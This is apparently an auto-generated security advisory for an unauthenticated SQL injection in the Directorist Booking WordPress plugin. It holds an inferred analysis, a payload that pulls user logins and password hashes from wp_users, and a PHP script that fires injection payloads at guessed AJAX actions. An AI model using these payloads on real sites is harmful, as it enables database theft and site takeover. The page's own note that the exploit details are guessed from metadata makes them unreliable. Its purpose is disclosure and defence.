Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-22336: Directorist Booking <= 2.4.1 – Unauthenticated SQL Injection (directorist-booking)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.4.1
Patched Version
Disclosed January 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-22336 (metadata-based):

This vulnerability is an unauthenticated SQL injection in the Directorist Booking WordPress plugin versions up to and including 2.4.1. The plugin fails to properly sanitize user-supplied parameters before using them in SQL queries. Attackers can inject malicious SQL statements through a public-facing endpoint, enabling data extraction from the WordPress database. The CVSS score of 7.5 (High) reflects the network-based attack vector, low attack complexity, and high confidentiality impact.

Atomic Edge research infers the root cause from the CWE-89 classification and vulnerability description. The plugin likely constructs SQL queries by directly concatenating unsanitized user input into SQL statement strings. This occurs without proper parameterization via WordPress’s $wpdb->prepare() method or adequate escaping using esc_sql(). The description confirms insufficient escaping and lack of preparation. Without source code, this conclusion remains inferred from the CWE pattern and typical WordPress plugin vulnerabilities.

Exploitation targets a public AJAX endpoint or REST API route. Attackers send HTTP requests to /wp-admin/admin-ajax.php or /wp-json/directorist-booking/ endpoints containing malicious SQL payloads in parameters. The plugin slug suggests AJAX actions may follow patterns like directorist_booking_action. Attackers use UNION-based or Boolean-based blind SQL injection techniques. A typical payload appends ‘ UNION SELECT user_login,user_pass FROM wp_users– to extract administrator credentials.

Remediation requires implementing proper input validation and parameterized queries. The plugin must use $wpdb->prepare() for all SQL queries incorporating user input. Developers should also apply strict type casting for numeric parameters and escape table/column names with backticks. WordPress’s built-in sanitization functions provide additional defense layers. A patch would modify the vulnerable function to separate SQL code from data.

Successful exploitation allows complete database compromise. Attackers extract sensitive information including WordPress user credentials, personally identifiable information from custom tables, plugin configuration data, and other business-critical records. This data exposure can lead to site takeover, privilege escalation, and lateral movement within the hosting environment. The vulnerability does not directly enable remote code execution or data modification according to the CVSS vector.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-22336 - Directorist Booking <= 2.4.1 - Unauthenticated SQL Injection
<?php
/**
 * Proof of Concept for CVE-2026-22336
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin registers AJAX actions with 'directorist_booking' prefix
 * 2. The vulnerable parameter is 'id' or similar
 * 3. No authentication or nonce verification exists
 * 4. The endpoint responds with database error messages or data
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';

// Common AJAX action patterns for Directorist Booking plugin
$possible_actions = [
    'directorist_booking_action',
    'directorist_booking_get_data',
    'directorist_booking_ajax',
    'directorist_booking_search'
];

// SQL injection payload to test for vulnerability
// This payload attempts to trigger a SQL error for detection
$payloads = [
    "' OR '1'='1",
    "' AND SLEEP(5)--",
    "' UNION SELECT NULL,version(),NULL--",
    "' AND 1=CAST((SELECT version()) AS INT)--"
];

echo "Testing for CVE-2026-22336 at: $target_urlnn";

foreach ($possible_actions as $action) {
    echo "Testing AJAX action: $actionn";
    
    foreach ($payloads as $index => $payload) {
        $post_data = [
            'action' => $action,
            'id' => $payload,          // Likely vulnerable parameter
            'nonce' => ''              // Often missing in vulnerable implementations
        ];
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $target_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $start_time = microtime(true);
        $response = curl_exec($ch);
        $end_time = microtime(true);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        // Detection logic
        $detected = false;
        $reason = '';
        
        if ($index == 1 && ($end_time - $start_time) > 4) {
            $detected = true;
            $reason = "Time-based delay detected";
        } elseif (strpos($response, 'SQL syntax') !== false || 
                  strpos($response, 'MySQL') !== false ||
                  strpos($response, 'database') !== false) {
            $detected = true;
            $reason = "SQL error message in response";
        } elseif (strpos($response, '5.') !== false && $index == 2) {
            $detected = true;
            $reason = "MySQL version disclosure";
        }
        
        if ($detected) {
            echo "  [+] VULNERABLE - Payload $index: $reasonn";
            echo "  Response sample: " . substr($response, 0, 200) . "...nn";
            break 2; // Exit both loops on first detection
        }
    }
}

echo "Test complete. If no vulnerabilities detected, try different action names or parameters.n";
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School